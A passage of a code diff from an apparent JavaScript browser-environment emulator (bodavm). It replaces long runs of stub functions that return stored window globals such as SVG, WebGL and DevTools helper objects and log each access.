console.log(`window_SVGFEDiffuseLightingElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEDisplacementMapElement = function () { let arg = bodavm.memory.globalobj['SVGFEDisplacementMapElement']; console.log(`window_SVGFEDisplacementMapElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEDistantLightElement = function () { let arg = bodavm.memory.globalobj['SVGFEDistantLightElement']; console.log(`window_SVGFEDistantLightElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEDropShadowElement = function () { let arg = bodavm.memory.globalobj['SVGFEDropShadowElement']; console.log(`window_SVGFEDropShadowElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFloodElement = function () { let arg = bodavm.memory.globalobj['SVGFEFloodElement']; console.log(`window_SVGFEFloodElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFuncAElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncAElement']; console.log(`window_SVGFEFuncAElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFuncBElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncBElement']; console.log(`window_SVGFEFuncBElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFuncGElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncGElement']; console.log(`window_SVGFEFuncGElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEFuncRElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncRElement']; console.log(`window_SVGFEFuncRElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEGaussianBlurElement = function () { let arg = bodavm.memory.globalobj['SVGFEGaussianBlurElement']; console.log(`window_SVGFEGaussianBlurElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEImageElement = function () { let arg = bodavm.memory.globalobj['SVGFEImageElement']; console.log(`window_SVGFEImageElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEMergeElement = function () { let arg = bodavm.memory.globalobj['SVGFEMergeElement']; console.log(`window_SVGFEMergeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEMergeNodeElement = function () { let arg = bodavm.memory.globalobj['SVGFEMergeNodeElement']; console.log(`window_SVGFEMergeNodeElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEMorphologyElement = function () { let arg = bodavm.memory.globalobj['SVGFEMorphologyElement']; console.log(`window_SVGFEMorphologyElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEOffsetElement = function () { let arg = bodavm.memory.globalobj['SVGFEOffsetElement']; console.log(`window_SVGFEOffsetElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFEPointLightElement = function () { let arg = bodavm.memory.globalobj['SVGFEPointLightElement']; console.log(`window_SVGFEPointLightElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFESpecularLightingElement = function () { let arg = bodavm.memory.globalobj['SVGFESpecularLightingElement']; console.log(`window_SVGFESpecularLightingElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFESpotLightElement = function () { let arg = bodavm.memory.globalobj['SVGFESpotLightElement']; console.log(`window_SVGFESpotLightElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFETileElement = function () { let arg = bodavm.memory.globalobj['SVGFETileElement']; console.log(`window_SVGFETileElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFETurbulenceElement = function () { let arg = bodavm.memory.globalobj['SVGFETurbulenceElement']; console.log(`window_SVGFETurbulenceElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGFilterElement = function () { let arg = bodavm.memory.globalobj['SVGFilterElement']; console.log(`window_SVGFilterElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGForeignObjectElement = function () { let arg = bodavm.memory.globalobj['SVGForeignObjectElement']; console.log(`window_SVGForeignObjectElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGGElement = function () { let arg = bodavm.memory.globalobj['SVGGElement']; console.log(`window_SVGGElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGGeometryElement = function () { let arg = bodavm.memory.globalobj['SVGGeometryElement']; console.log(`window_SVGGeometryElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGGradientElement = function () { let arg = bodavm.memory.globalobj['SVGGradientElement']; console.log(`window_SVGGradientElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGGraphicsElement = function () { let arg = bodavm.memory.globalobj['SVGGraphicsElement']; console.log(`window_SVGGraphicsElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGImageElement = function () { let arg = bodavm.memory.globalobj['SVGImageElement']; console.log(`window_SVGImageElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGLength = function () { let arg = bodavm.memory.globalobj['SVGLength']; console.log(`window_SVGLength`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGLengthList = function () { let arg = bodavm.memory.globalobj['SVGLengthList']; console.log(`window_SVGLengthList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGLineElement = function () { let arg = bodavm.memory.globalobj['SVGLineElement']; console.log(`window_SVGLineElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGLinearGradientElement = function () { let arg = bodavm.memory.globalobj['SVGLinearGradientElement']; console.log(`window_SVGLinearGradientElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMPathElement = function () { let arg = bodavm.memory.globalobj['SVGMPathElement']; console.log(`window_SVGMPathElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMarkerElement = function () { let arg = bodavm.memory.globalobj['SVGMarkerElement']; console.log(`window_SVGMarkerElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMaskElement = function () { let arg = bodavm.memory.globalobj['SVGMaskElement']; console.log(`window_SVGMaskElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMatrix = function () { let arg = bodavm.memory.globalobj['SVGMatrix']; console.log(`window_SVGMatrix`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGMetadataElement = function () { let arg = bodavm.memory.globalobj['SVGMetadataElement']; console.log(`window_SVGMetadataElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGNumber = function () { let arg = bodavm.memory.globalobj['SVGNumber']; console.log(`window_SVGNumber`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGNumberList = function () { let arg = bodavm.memory.globalobj['SVGNumberList']; console.log(`window_SVGNumberList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPathElement = function () { let arg = bodavm.memory.globalobj['SVGPathElement']; console.log(`window_SVGPathElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPatternElement = function () { let arg = bodavm.memory.globalobj['SVGPatternElement']; console.log(`window_SVGPatternElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPoint = function () { let arg = bodavm.memory.globalobj['SVGPoint']; console.log(`window_SVGPoint`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPointList = function () { let arg = bodavm.memory.globalobj['SVGPointList']; console.log(`window_SVGPointList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPolygonElement = function () { let arg = bodavm.memory.globalobj['SVGPolygonElement']; console.log(`window_SVGPolygonElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPolylineElement = function () { let arg = bodavm.memory.globalobj['SVGPolylineElement']; console.log(`window_SVGPolylineElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGPreserveAspectRatio = function () { let arg = bodavm.memory.globalobj['SVGPreserveAspectRatio']; console.log(`window_SVGPreserveAspectRatio`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGRadialGradientElement = function () { let arg = bodavm.memory.globalobj['SVGRadialGradientElement']; console.log(`window_SVGRadialGradientElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGRect = function () { let arg = bodavm.memory.globalobj['SVGRect']; console.log(`window_SVGRect`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGRectElement = function () { let arg = bodavm.memory.globalobj['SVGRectElement']; console.log(`window_SVGRectElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGSVGElement = function () { let arg = bodavm.memory.globalobj['SVGSVGElement']; console.log(`window_SVGSVGElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGScriptElement = function () { let arg = bodavm.memory.globalobj['SVGScriptElement']; console.log(`window_SVGScriptElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGSetElement = function () { let arg = bodavm.memory.globalobj['SVGSetElement']; console.log(`window_SVGSetElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGStopElement = function () { let arg = bodavm.memory.globalobj['SVGStopElement']; console.log(`window_SVGStopElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGStringList = function () { let arg = bodavm.memory.globalobj['SVGStringList']; console.log(`window_SVGStringList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGStyleElement = function () { let arg = bodavm.memory.globalobj['SVGStyleElement']; console.log(`window_SVGStyleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGSwitchElement = function () { let arg = bodavm.memory.globalobj['SVGSwitchElement']; console.log(`window_SVGSwitchElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGSymbolElement = function () { let arg = bodavm.memory.globalobj['SVGSymbolElement']; console.log(`window_SVGSymbolElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTSpanElement = function () { let arg = bodavm.memory.globalobj['SVGTSpanElement']; console.log(`window_SVGTSpanElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTextContentElement = function () { let arg = bodavm.memory.globalobj['SVGTextContentElement']; console.log(`window_SVGTextContentElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTextElement = function () { let arg = bodavm.memory.globalobj['SVGTextElement']; console.log(`window_SVGTextElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTextPathElement = function () { let arg = bodavm.memory.globalobj['SVGTextPathElement']; console.log(`window_SVGTextPathElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTextPositioningElement = function () { let arg = bodavm.memory.globalobj['SVGTextPositioningElement']; console.log(`window_SVGTextPositioningElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTitleElement = function () { let arg = bodavm.memory.globalobj['SVGTitleElement']; console.log(`window_SVGTitleElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTransform = function () { let arg = bodavm.memory.globalobj['SVGTransform']; console.log(`window_SVGTransform`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGTransformList = function () { let arg = bodavm.memory.globalobj['SVGTransformList']; console.log(`window_SVGTransformList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGUnitTypes = function () { let arg = bodavm.memory.globalobj['SVGUnitTypes']; console.log(`window_SVGUnitTypes`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGUseElement = function () { let arg = bodavm.memory.globalobj['SVGUseElement']; console.log(`window_SVGUseElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SVGViewElement = function () { let arg = bodavm.memory.globalobj['SVGViewElement']; console.log(`window_SVGViewElement`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ScreenOrientation = function () { let arg = bodavm.memory.globalobj['ScreenOrientation']; console.log(`window_ScreenOrientation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ScriptProcessorNode = function () { let arg = bodavm.memory.globalobj['ScriptProcessorNode']; console.log(`window_ScriptProcessorNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SecurityPolicyViolationEvent = function () { let arg = bodavm.memory.globalobj['SecurityPolicyViolationEvent']; console.log(`window_SecurityPolicyViolationEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Selection = function () { let arg = bodavm.memory.globalobj['Selection']; console.log(`window_Selection`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ShadowRoot = function () { let arg = bodavm.memory.globalobj['ShadowRoot']; console.log(`window_ShadowRoot`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StaticRange = function () { let arg = bodavm.memory.globalobj['StaticRange']; console.log(`window_StaticRange`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StereoPannerNode = function () { let arg = bodavm.memory.globalobj['StereoPannerNode']; console.log(`window_StereoPannerNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StorageEvent = function () { let arg = bodavm.memory.globalobj['StorageEvent']; console.log(`window_StorageEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StylePropertyMap = function () { let arg = bodavm.memory.globalobj['StylePropertyMap']; console.log(`window_StylePropertyMap`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StylePropertyMapReadOnly = function () { let arg = bodavm.memory.globalobj['StylePropertyMapReadOnly']; console.log(`window_StylePropertyMapReadOnly`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StyleSheet = function () { let arg = bodavm.memory.globalobj['StyleSheet']; console.log(`window_StyleSheet`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_StyleSheetList = function () { let arg = bodavm.memory.globalobj['StyleSheetList']; console.log(`window_StyleSheetList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SubmitEvent = function () { let arg = bodavm.memory.globalobj['SubmitEvent']; console.log(`window_SubmitEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_SyncManager = function () { let arg = bodavm.memory.globalobj['SyncManager']; console.log(`window_SyncManager`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TaskAttributionTiming = function () { let arg = bodavm.memory.globalobj['TaskAttributionTiming']; console.log(`window_TaskAttributionTiming`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Text = function () { let arg = bodavm.memory.globalobj['Text']; console.log(`window_Text`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextDecoder = function () { let arg = bodavm.memory.globalobj['TextDecoder']; console.log(`window_TextDecoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextDecoderStream = function () { let arg = bodavm.memory.globalobj['TextDecoderStream']; console.log(`window_TextDecoderStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextEncoder = function () { let arg = bodavm.memory.globalobj['TextEncoder']; console.log(`window_TextEncoder`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextEncoderStream = function () { let arg = bodavm.memory.globalobj['TextEncoderStream']; console.log(`window_TextEncoderStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextEvent = function () { let arg = bodavm.memory.globalobj['TextEvent']; console.log(`window_TextEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextMetrics = function () { let arg = bodavm.memory.globalobj['TextMetrics']; console.log(`window_TextMetrics`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextTrack = function () { let arg = bodavm.memory.globalobj['TextTrack']; console.log(`window_TextTrack`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextTrackCue = function () { let arg = bodavm.memory.globalobj['TextTrackCue']; console.log(`window_TextTrackCue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextTrackCueList = function () { let arg = bodavm.memory.globalobj['TextTrackCueList']; console.log(`window_TextTrackCueList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TextTrackList = function () { let arg = bodavm.memory.globalobj['TextTrackList']; console.log(`window_TextTrackList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TimeRanges = function () { let arg = bodavm.memory.globalobj['TimeRanges']; console.log(`window_TimeRanges`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Touch = function () { let arg = bodavm.memory.globalobj['Touch']; console.log(`window_Touch`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TouchEvent = function () { let arg = bodavm.memory.globalobj['TouchEvent']; console.log(`window_TouchEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TouchList = function () { let arg = bodavm.memory.globalobj['TouchList']; console.log(`window_TouchList`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TrackEvent = function () { let arg = bodavm.memory.globalobj['TrackEvent']; console.log(`window_TrackEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TransformStream = function () { let arg = bodavm.memory.globalobj['TransformStream']; console.log(`window_TransformStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TransitionEvent = function () { let arg = bodavm.memory.globalobj['TransitionEvent']; console.log(`window_TransitionEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_TreeWalker = function () { let arg = bodavm.memory.globalobj['TreeWalker']; console.log(`window_TreeWalker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_UIEvent = function () { let arg = bodavm.memory.globalobj['UIEvent']; console.log(`window_UIEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_URL = function () { let arg = bodavm.memory.globalobj['URL']; console.log(`window_URL`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_URLSearchParams = function () { let arg = bodavm.memory.globalobj['URLSearchParams']; console.log(`window_URLSearchParams`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_UserActivation = function () { let arg = bodavm.memory.globalobj['UserActivation']; console.log(`window_UserActivation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_VTTCue = function () { let arg = bodavm.memory.globalobj['VTTCue']; console.log(`window_VTTCue`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_ValidityState = function () { let arg = bodavm.memory.globalobj['ValidityState']; console.log(`window_ValidityState`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WaveShaperNode = function () { let arg = bodavm.memory.globalobj['WaveShaperNode']; console.log(`window_WaveShaperNode`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGL2RenderingContext = function () { let arg = bodavm.memory.globalobj['WebGL2RenderingContext']; console.log(`window_WebGL2RenderingContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLActiveInfo = function () { let arg = bodavm.memory.globalobj['WebGLActiveInfo']; console.log(`window_WebGLActiveInfo`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLBuffer = function () { let arg = bodavm.memory.globalobj['WebGLBuffer']; console.log(`window_WebGLBuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLContextEvent = function () { let arg = bodavm.memory.globalobj['WebGLContextEvent']; console.log(`window_WebGLContextEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLFramebuffer = function () { let arg = bodavm.memory.globalobj['WebGLFramebuffer']; console.log(`window_WebGLFramebuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLProgram = function () { let arg = bodavm.memory.globalobj['WebGLProgram']; console.log(`window_WebGLProgram`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLQuery = function () { let arg = bodavm.memory.globalobj['WebGLQuery']; console.log(`window_WebGLQuery`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLRenderbuffer = function () { let arg = bodavm.memory.globalobj['WebGLRenderbuffer']; console.log(`window_WebGLRenderbuffer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLRenderingContext = function () { let arg = bodavm.memory.globalobj['WebGLRenderingContext']; console.log(`window_WebGLRenderingContext`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLSampler = function () { let arg = bodavm.memory.globalobj['WebGLSampler']; console.log(`window_WebGLSampler`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLShader = function () { let arg = bodavm.memory.globalobj['WebGLShader']; console.log(`window_WebGLShader`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLShaderPrecisionFormat = function () { let arg = bodavm.memory.globalobj['WebGLShaderPrecisionFormat']; console.log(`window_WebGLShaderPrecisionFormat`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLSync = function () { let arg = bodavm.memory.globalobj['WebGLSync']; console.log(`window_WebGLSync`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLTexture = function () { let arg = bodavm.memory.globalobj['WebGLTexture']; console.log(`window_WebGLTexture`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLTransformFeedback = function () { let arg = bodavm.memory.globalobj['WebGLTransformFeedback']; console.log(`window_WebGLTransformFeedback`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLUniformLocation = function () { let arg = bodavm.memory.globalobj['WebGLUniformLocation']; console.log(`window_WebGLUniformLocation`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebGLVertexArrayObject = function () { let arg = bodavm.memory.globalobj['WebGLVertexArrayObject']; console.log(`window_WebGLVertexArrayObject`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebSocket = function () { let arg = bodavm.memory.globalobj['WebSocket']; console.log(`window_WebSocket`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WheelEvent = function () { let arg = bodavm.memory.globalobj['WheelEvent']; console.log(`window_WheelEvent`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_Worker = function () { let arg = bodavm.memory.globalobj['Worker']; console.log(`window_Worker`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WritableStream = function () { let arg = bodavm.memory.globalobj['WritableStream']; console.log(`window_WritableStream`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WritableStreamDefaultController = function () { let arg = bodavm.memory.globalobj['WritableStreamDefaultController']; console.log(`window_WritableStreamDefaultController`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WritableStreamDefaultWriter = function () { let arg = bodavm.memory.globalobj['WritableStreamDefaultWriter']; console.log(`window_WritableStreamDefaultWriter`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLDocument = function () { let arg = bodavm.memory.globalobj['XMLDocument']; console.log(`window_XMLDocument`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLHttpRequest = function () { let arg = bodavm.memory.globalobj['XMLHttpRequest']; console.log(`window_XMLHttpRequest`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLHttpRequestEventTarget = function () { let arg = bodavm.memory.globalobj['XMLHttpRequestEventTarget']; console.log(`window_XMLHttpRequestEventTarget`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLHttpRequestUpload = function () { let arg = bodavm.memory.globalobj['XMLHttpRequestUpload']; console.log(`window_XMLHttpRequestUpload`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XMLSerializer = function () { let arg = bodavm.memory.globalobj['XMLSerializer']; console.log(`window_XMLSerializer`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XPathEvaluator = function () { let arg = bodavm.memory.globalobj['XPathEvaluator']; console.log(`window_XPathEvaluator`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XPathExpression = function () { let arg = bodavm.memory.globalobj['XPathExpression']; console.log(`window_XPathExpression`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_XPathResult = function () { let arg = bodavm.memory.globalobj['XPathResult']; console.log(`window_XPathResult`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebKitCSSMatrix = function () { let arg = bodavm.memory.globalobj['DOMMatrix']; console.log(`window_WebKitCSSMatrix`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_WebKitMutationObserver = function () { let arg = bodavm.memory.globalobj['MutationObserver']; console.log(`window_WebKitMutationObserver`, `-> res ->${arg}`); return arg } - bodavm.envFunc.window_webkitMediaStream = function () { let arg = bodavm.memory.globalobj['webkitMediaStream']; console.log(`window_webkitMediaStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_$x = function () { let arg = bodavm.memory.globalobj['$x']; console.log_copy(`window_$x`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_$$ = function () { let arg = bodavm.memory.globalobj['$$']; console.log_copy(`window_$$`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_$ = function () { let arg = bodavm.memory.globalobj['$']; console.log_copy(`window_$`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_unmonitorEvents = function () { let arg = bodavm.memory.globalobj['unmonitorEvents']; console.log_copy(`window_unmonitorEvents`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_monitorEvents = function () { let arg = bodavm.memory.globalobj['monitorEvents']; console.log_copy(`window_monitorEvents`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getAccessibleRole = function () { let arg = bodavm.memory.globalobj['getAccessibleRole']; console.log_copy(`window_getAccessibleRole`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getAccessibleName = function () { let arg = bodavm.memory.globalobj['getAccessibleName']; console.log_copy(`window_getAccessibleName`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getEventListeners = function () { let arg = bodavm.memory.globalobj['getEventListeners']; console.log_copy(`window_getEventListeners`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_queryObjects = function () { let arg = bodavm.memory.globalobj['queryObjects']; console.log_copy(`window_queryObjects`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_copy = function () { let arg = bodavm.memory.globalobj['copy']; console.log_copy(`window_copy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_inspect = function () { let arg = bodavm.memory.globalobj['inspect']; console.log_copy(`window_inspect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_unmonitor = function () { let arg = bodavm.memory.globalobj['unmonitor']; console.log_copy(`window_unmonitor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_monitor = function () { let arg = bodavm.memory.globalobj['monitor']; console.log_copy(`window_monitor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_undebug = function () { let arg = bodavm.memory.globalobj['undebug']; console.log_copy(`window_undebug`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_debug = function () { let arg = bodavm.memory.globalobj['debug']; console.log_copy(`window_debug`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_values = function () { let arg = bodavm.memory.globalobj['values']; console.log_copy(`window_values`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_keys = function () { let arg = bodavm.memory.globalobj['keys']; console.log_copy(`window_keys`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_table = function () { let arg = bodavm.memory.globalobj['table']; console.log_copy(`window_table`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_clear = function () { let arg = bodavm.memory.globalobj['clear']; console.log_copy(`window_clear`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_profileEnd = function () { let arg = bodavm.memory.globalobj['profileEnd']; console.log_copy(`window_profileEnd`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_profile = function () { let arg = bodavm.memory.globalobj['profile']; console.log_copy(`window_profile`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_dirxml = function () { let arg = bodavm.memory.globalobj['dirxml']; console.log_copy(`window_dirxml`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_dir = function () { let arg = bodavm.memory.globalobj['dir']; console.log_copy(`window_dir`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitResolveLocalFileSystemURL = function () { let arg = bodavm.memory.globalobj['webkitResolveLocalFileSystemURL']; console.log_copy(`window_webkitResolveLocalFileSystemURL`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechRecognitionEvent = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognitionEvent']; console.log_copy(`window_webkitSpeechRecognitionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechRecognitionError = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognitionError']; console.log_copy(`window_webkitSpeechRecognitionError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechRecognition = function () { let arg = bodavm.memory.globalobj['webkitSpeechRecognition']; console.log_copy(`window_webkitSpeechRecognition`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechGrammarList = function () { let arg = bodavm.memory.globalobj['webkitSpeechGrammarList']; console.log_copy(`window_webkitSpeechGrammarList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitSpeechGrammar = function () { let arg = bodavm.memory.globalobj['webkitSpeechGrammar']; console.log_copy(`window_webkitSpeechGrammar`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XSLTProcessor = function () { let arg = bodavm.memory.globalobj['XSLTProcessor']; console.log_copy(`window_XSLTProcessor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VirtualKeyboardGeometryChangeEvent = function () { let arg = bodavm.memory.globalobj['VirtualKeyboardGeometryChangeEvent']; console.log_copy(`window_VirtualKeyboardGeometryChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoPlaybackQuality = function () { let arg = bodavm.memory.globalobj['VideoPlaybackQuality']; console.log_copy(`window_VideoPlaybackQuality`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_URLPattern = function () { let arg = bodavm.memory.globalobj['URLPattern']; console.log_copy(`window_URLPattern`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrustedTypePolicy = function () { let arg = bodavm.memory.globalobj['TrustedTypePolicy']; console.log_copy(`window_TrustedTypePolicy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrustedScriptURL = function () { let arg = bodavm.memory.globalobj['TrustedScriptURL']; console.log_copy(`window_TrustedScriptURL`, `-> res ->${arg}`); return arg } + 